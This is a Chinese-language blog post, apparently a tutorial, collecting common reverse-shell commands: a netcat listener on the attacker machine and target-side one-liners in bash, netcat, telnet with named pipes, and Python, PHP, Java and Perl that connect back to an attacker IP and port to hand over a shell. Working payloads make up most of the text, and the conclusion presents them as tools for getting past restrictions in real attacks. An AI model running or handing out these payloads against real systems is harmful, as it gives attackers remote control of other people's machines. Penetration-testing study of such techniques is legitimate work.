反弹shell常用命令

1 attacker端的监听——netcat

(1) windows环境下下载netcat

下载地址
在这里插入图片描述
将如图的nc.exe所在文件夹添加到环境变量
在这里插入图片描述

(2) linux环境下下载netcat
yum install netcat
(3) 安装结束

使用如下命令判断是否安装成功

nc -h

在这里插入图片描述

使用如下命令开始监听

nc -lvvp port

在这里插入图片描述

2 靶机命令

(1) bash

bash一句话为:

bash -i >& /dev/tcp/ip/port 0>&1

其中ip与port改为attacker端的ip与开启监听的端口。
在这里插入图片描述

(2) netcat

使用如下命令即可反弹shell

nc -e ip port /bin/bash

但出于安全性考虑,很多nc没有进行’-e’的编译,执行后会出现下面的结果:
在这里插入图片描述
可以使用启用两个端口进行监听,一个输入,另一个监听结果,即:

nc ip port1 | /bin/sh | nc ip port2

这条命令在网上我见到有人运行成功了,但我没有。
在这里插入图片描述
那么再换一种方法,在靶机上执行如下命令:

mknod /tmp/backpipe p
/bin/sh 0< /tmp/backpipe | nc ip port 1> /tmp/backpipe

也是可以监听到的。
在这里插入图片描述

(3) telnet

首先建立管道:

mkfifo /tmp/b

这句话等同于上述提到的

mknod /tmp/b p

都是给予文件“p”属性,即创建管道文件

之后执行telnet语句完成反弹shell:

telnet ip port 0</tmp/b | /bin/sh 1>/tmp/b

在这里插入图片描述

在这里插入图片描述

(4) 各类语言的脚本

使用此类反弹shell时需要注意靶机上需要有目标语言的环境才能进行反弹。
首先是python:

import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('ip', port))

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

p = subprocess.call(['/bin/sh', '-i'])

或者在命令行直接执行:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

但可能因为我的靶机的host配置问题无法成功。
在这里插入图片描述
其次是php:

php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

在这里插入图片描述
靶机上没有java环境,没有进行测试:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

同时我也没有perl环境,也不作尝试了:

use Socket;
$i = "ip";
$p = port;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
	open(STDIN,">&S");
	open(STDOUT,">&S");
	open(STDERR,">&S");
	exec("/bin/sh -i");}
;
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3 总结

实际攻击时,目标往往会对反弹shell的命令做一定的限制,在这种情况下,找到合适的,可用的方法才是攻击成功的关键。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐